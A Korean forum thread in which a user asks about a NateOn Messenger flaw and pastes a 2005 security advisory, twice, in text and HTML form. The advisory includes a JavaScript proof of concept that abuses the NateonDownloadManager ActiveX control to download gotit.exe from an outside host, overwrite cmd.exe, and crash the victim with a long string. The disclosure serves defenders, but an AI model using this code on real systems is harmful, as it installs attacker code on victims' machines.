헤헤 운영자분이 친절하시고 좋네요...

쭈니더슬퍼 · 손님

네이트온 때문에요...

뭐 한가지 더 물어볼께요...

구글 검색하다가 본건데여...

▶네이트온 다중 보안 취약점 권고문네이트온 다중 취약점

권고문이 발표되었습니다.

역시 지난번에 네이트온 보안 취약점 권고문을

발표한 박규태 씨가 발견한 것이군요.

임의의 파일을 업로드 할 수 있는 취약점과 버퍼오버플로우 취약점의 결합이라

면 피해자의 서버에 악성 프로그램을 업로드하여 실행시키는 공격 시나리오가

가능하겠군요.◀

어디에 따른 취약점 일까요?

또 이 취약점으로 접근하려면 어떻게 해야하고... 버퍼오버플러우는

무엇인가요?

버퍼가 넘쳐난다 이런뜻인가여?

이건 펀글 이예요...

This is a multi-part message in MIME format.

--===============2108474384==
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_009F_01C5C4EA.07FD7690"

This is a multi-part message in MIME format.

------=_NextPart_000_009F_01C5C4EA.07FD7690
Content-Type: text/plain;
charset="ks_c_5601-1987"
Content-Transfer-Encoding: 7bit

Title: Arbitrary File Download by NateOn Messagener's ActiveX
and DoS

Discoverer: PARK, GYU TAE (saintlinu@null2root.org)

Advisory No.: NRVA05-08

Critical: Moderately Critical

Impact: Arbitrary file download by NateOn Messagener's ActiveX
and DoS

Where: From remote

Operating System: Windows Only

Solution: unpatch yet

Workaround: N / A

Notice: 09. 17. 2005 Initiate notified

09. 23. 2005 2nd notified

09. 27. 2005 3rd notified

09. 29. 2005 Vendor didn't response. Disclosure
vulnerability

Description:

The NateOn Messenger(See a NRVA05-02) is Internet Instance Messenger such
as MSN, YAHOO and so on

If installed NateOn Messenger then can exploit by
'NateonDownloadManager.ocx' ActiveX

and there is another vulnerability like Buffer Overflow

See following detail describe:

NOT INCLUDED HERE BUT A PIECE OF CODE

<--snip-->

i = GotNate.IsNateonInstall();

if( i == 1 ) {

alert('NateOn Messenger already installed. Do
Attack ...');

// if you want to second order attack then try

i =
GotNate.Excute("1",'http://saintlinu.null2root.org/gotit.exe','c:\\windows\\
system32\\cmd.exe');

// if you want to crash to victim system the try

i =
GotNate.Excute("1",'http://saintlinu.null2root.org/gotit.exe','very_long_str
ings_in_here');

} else {

alert('NateOn Messenger NOT Installed');

}

</--snip-->

------=_NextPart_000_009F_01C5C4EA.07FD7690
Content-Type: text/html;
charset="ks_c_5601-1987"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dks_c_5601-1987">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>

</style>

</head>

<body lang=3DKO link=3Dblue vlink=3Dpurple>

<div class=3DSection1 style=3D'layout-grid:18.0pt'>

Title:      &nbsp=
;     
Arbitrary File Download by NateOn Messagener's ActiveX and =
DoS<o:p></o:p>

Discoverer:      =
  PARK, GYU
TAE (saintlinu@null2root.org)<o:p></o:p>

Advisory No.:      =
NRVA05-08<o:p></o:p>

Critical:      &n=
bsp;  
Moderately Critical<o:p></o:p>

Impact:      &nbs=
p;    
Arbitrary file download by NateOn Messagener's ActiveX and =
DoS<o:p></o:p>

Where:      &nbsp=
;     
>From remote<o:p></o:p>

Operating System:  Windows =
Only<o:p></o:p>

Solution:      &n=
bsp;  
unpatch yet<o:p></o:p>

Workaround:      =
  N / A<o:p></o:p>

<o:p> </o:p>

Notice:      &nbs=
p;    
09. 17. 2005 Initiate notified<o:p></o:p>

    =
            &=
nbsp;  09.
23. 2005 2nd notified<o:p></o:p>

       &nbsp=
;          
09. 27. 2005 3rd notified<o:p></o:p>

       &nbsp=
;          
09. 29. 2005 Vendor didn't response. Disclosure =
vulnerability<o:p></o:p>

<o:p> </o:p>

Description: <o:p></o:p>

The NateOn Messenger(See a NRVA05-02) is =
Internet Instance
Messenger such as MSN, YAHOO and so on<o:p></o:p>

<o:p> </o:p>

If installed NateOn Messenger then can exploit =
by
'NateonDownloadManager.ocx' ActiveX<o:p></o:p>

<o:p> </o:p>

and there is another vulnerability like Buffer =
Overflow<o:p></o:p>

<o:p> </o:p>

See following detail =
describe:<o:p></o:p>

<o:p> </o:p>

NOT INCLUDED HERE BUT A PIECE OF =
CODE<o:p></o:p>

<o:p> </o:p>

<--snip--><o:p></o:p>

<o:p> </o:p>

       &nbsp=
;     i
=3D GotNate.IsNateonInstall();<o:p></o:p>

       &nbsp=
;     <o:p></o:p>

       &nbsp=
;     if(
i =3D=3D 1 ) {<o:p></o:p>

       &nbsp=
;            =
       alert('NateOn
Messenger already installed. Do Attack =
...');<o:p></o:p>

       &nbsp=
;            =
       //
if you want to second order attack then try<o:p></o:p>

       &nbsp=
;            =
       i
=3D
GotNate.Excute("1",'http://saintlinu.null2root.org/gotit.exe','=
c:\\windows\\system32\\cmd.exe');<o:p></o:p>

       &nbsp=
;            =
       <o:p></o:p>

       &nbsp=
;            =
       //
if you want to crash to victim system the =
try<o:p></o:p>

       &nbsp=
;            =
       i =3D
GotNate.Excute("1",'http://saintlinu.null2root.org/gotit.exe','=
very_long_strings_in_here');<o:p></o:p>

       &nbsp=
;     }
else {<o:p></o:p>

       &nbsp=
;            =
       alert('NateOn Messenger NOT
Installed');<o:p></o:p>

       &nbsp=
;     }<o:p></o:p>

<o:p> </o:p>

</--snip--><o:p></o:p>

</div>

</body>

</html>

------=_NextPart_000_009F_01C5C4EA.07FD7690--

________________________________________________________

truefeel

제목 보고 어떤 것을 질문한 것인지 전혀 알 수가 없습니다. 글 제목은 보다 알기쉽게 써주세요.
저 제목이라면 자유게시판에 어울릴 것 같습니다. ^^